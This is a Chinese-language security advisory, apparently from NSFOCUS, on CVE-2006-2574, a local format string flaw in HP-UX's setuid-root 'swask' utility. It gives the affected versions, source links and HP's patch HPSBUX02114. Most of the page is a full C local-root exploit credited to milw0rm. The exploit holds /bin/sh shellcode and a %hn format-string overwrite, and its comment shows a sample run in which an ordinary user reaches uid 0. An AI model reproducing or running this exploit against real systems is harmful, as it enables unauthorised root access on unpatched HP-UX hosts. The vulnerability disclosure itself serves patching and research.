安全研究

安全漏洞
HP-UX Software Distributor SWAsk本地格式串漏洞

发布日期:2006-05-24
更新日期:2006-10-25

受影响系统:
HP HP-UX B.11.23
HP HP-UX B.11.11
HP HP-UX B.11.04
HP HP-UX B.11.00
描述:
BUGTRAQ  ID: 20726
CVE(CAN) ID: CVE-2006-2574

HP-UX是一款HP公司开发的UNIX操作系统。

HP-UX的Software Distributor实现上存在安全漏洞,允许本地授权用户获得管理员权限提升。

<*来源:NCC Group
  
  链接:http://secunia.com/advisories/20230
        http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=c00659649&hpweb_printable=true
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* HP-UX swask format string local root exploit
* ============================================
* HP-UX 'swask' contains an exploitable format string
* vulnerability. The 'swask' utility is installed setuid
* root by default. Specifically the vulnerability is in
* the handling of the "-s" optional arguement which is
* passed to a format function as verbatim.  
*
* Example.
* $ uname -a
* HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
* $ id
* uid=102(user) gid=20(users)
* $ ./prdelka-vs-HPUX-swask
* [ HP-UX 11i 'swask' local root exploit
* =======  01/20/06 10:19:49 EST  BEGIN swask SESSION (non-interactive)
* <SNIP>
*
* =======  01/20/06 10:19:50 EST  END swask SESSION (non-interactive)
*
* $ id
* uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
* $
*
* - prdelka
*/

char shellcode[]=
         "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
         "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
         "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char *d, *c, *b,*a,*envp;
        int i,pid;
    printf("[ HP-UX 11i 'swask' local root exploit\n");
    switch(pid = fork()){
        case -1:
            perror("fork");
        case 0:
                a=(char*)malloc(2048);
                memset(a,0,2048);
                sprintf(a,"AAAAA%c%c%c%c",0x7a,0xec,0x44,0x38);
                for(i=0;i<103;i++) strcat(a,"%p");
            envp=0;
            execle("/usr/sbin/swask","swask","-s",a,0,envp);
            break;
        default:
            sleep(1);
            b=(char*)malloc(2048);
                memset(b,0,2048);
                for(i=0;i<102;i++) strcat(b,"%p");
            strcat(b,"%31799u%hn");
            a=(char*)malloc(2048);
            memset(a,0,2048);
            d=a;
            for(i=0;i<39;i++)strcat(a,"A");
            d+=39;
            for(i=0;i<strlen(shellcode);i++) *d++=shellcode[i];
            envp=0;
            execle("/usr/sbin/swask","swask","-s",a,"-s",b,0,envp);
    }
}

// milw0rm.com [2006-10-24]

建议:
厂商补丁:

HP
--
HP已经为此发布了一个安全公告(HPSBUX02114)以及相应补丁:
HPSBUX02114:SSRT061115 rev.1 - HP-UX Running Software Distributor Local Elevation of Privilege
链接:http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=c00659649&hpweb_printable=true

浏览次数:4086
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障